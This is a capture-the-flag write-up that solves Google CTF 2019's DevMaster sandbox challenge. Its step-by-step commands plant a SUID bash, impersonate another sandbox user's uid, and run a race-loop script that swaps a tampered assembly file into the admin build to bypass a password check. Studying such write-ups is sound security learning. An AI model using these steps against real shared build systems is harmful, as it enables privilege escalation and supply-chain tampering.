Google CTF 2019 - DevMaster8000 & DevMaster8001 writeup
DevMaster 8000 & DevMaster 8001
This challenge acted as build service. You could upload and execute files to it. Worker environment is sandboxed, and writable is only workdir of worker and /tmp. If we connect to the server using –admin flag, we have to pass in password for it to print the winning flag.
Same exploit method works for DevMaster 8000 and DevMaster 8001.
Idea
After some time of solving this sandbox challenge I got curious about the /tmp folder. I could see temporary assembly file appear there for a second from time to time. Realizing that this assembly is output of g++ from sandboxed admin rebuild script, that is run every 30 seconds, an idea came to my mind. We could replace this file right before it will produce the final admin executable and effectively remove the check. The problem is that this file is owned by specific worker user, that is inaccessible to us, while it’s building. To impersonate uid of that specific worker we have to do few things.
Preparation
Modify the admin program, so it won’t check our supplied password.
std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";
std::string actual_hash = picosha2::hash256_hex_string(password);
//if (expected_hash == actual_hash) {
if (true) {
std::ifstream flagfile("./flag");
if (!flagfile.is_open()) {
std::cerr << "Failed to open ./flag" << std::endl;
Run supplied multiplexer and connect to it with two interactive bash jobs. Upload drop_privs exe to the first bash session and edited admin program source to the second bash session.
cromize@jupiter:~/devmaster$ ./multiplexer 13377 nc devmaster-8001.ctfcompetition.com 1337
[!] Multiplexer started, listening on port 13377
cromize@jupiter:~/devmaster$ cp built_bins/drop_privs ../
cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- drop_privs -- drop_privs -- bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ ls
drop_privs
cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- admin.cc -- admin.cc -- bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ ls
admin.cc
sandbox-runner-0
Inside the sandbox-runner-0
make the workdir accessible to everyone and copy bash here. Make bash in workdir executable by everyone and set SUID bit. Exit this bash session, so admin build worker can use this worker for building.
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 ../build-workdir-XXRw4T
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ cp /bin/bash .
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 bash
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod u+s bash
sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ exit
sandbox-runner-1
Coming back to sandbox-runner-1
, let’s compile our modified admin source into assembly file.
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp ../../picosha2.h .
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin -S
Make the admin file executable by everyone and copy it into /tmp.
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ chmod 777 admin
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp admin /tmp/admin
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ ls /tmp
admin
user
Exploit
Change into old workdir of sandbox-runner-0
and run that SUID bash there. You have to run it with -p flag to not loose gained euid privilege.
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cd ../build-workdir-XXRw4T
sandbox-runner-1@jail-0:/home/user/builds/build-workdir-XXRw4T$ ./bash -p
$ id
uid=1339(sandbox-runner-1) gid=1339(sandbox-runner-1) euid=1338(sandbox-runner-0) groups=1339(sandbox-runner-1),0(root)
Notice that our euid is sandbox-runner-0
one. Having euid of worker, that is used for admin build, we can now run supplied drop_privs to gain uid of sandbox-runner-0
.
$ ./drop_privs sandbox-runner-0 sandbox-runner-1 bash -p
$ id
uid=1338(sandbox-runner-0) gid=1339(sandbox-runner-1) groups=1339(sandbox-runner-1),0(root)
Having real uid of sandbox-runner-0
we can now compromise the intermediate assembly used for building.
Using this script, we can detect the intermediate assembly file made during compilation of admin exe and replace it. Just copy paste the script into our impersonated sandbox-runner-0
bash and wait for the replacement.
#!/bin/bash
rename() {
echo here it is /tmp/*.s ;
cp -f /tmp/admin /tmp/*.s ;
}
while true; do
if [ $(ls -1 /tmp | wc -l) -eq 3 ] ; then
rename ;
fi ;
done
If you see it echo, you can now try to connect to the server with the –admin flag and get the flag.
cromize@jupiter:~/devmaster$ built_bins/client --admin nc localhost 13377 -- drop_privs -- drop_privs --
Enter your password please.
CTF{devMaster-8001-premium-flag}
If it didn’t work, try to wait for the next rebuild. Time window for the race is quite small.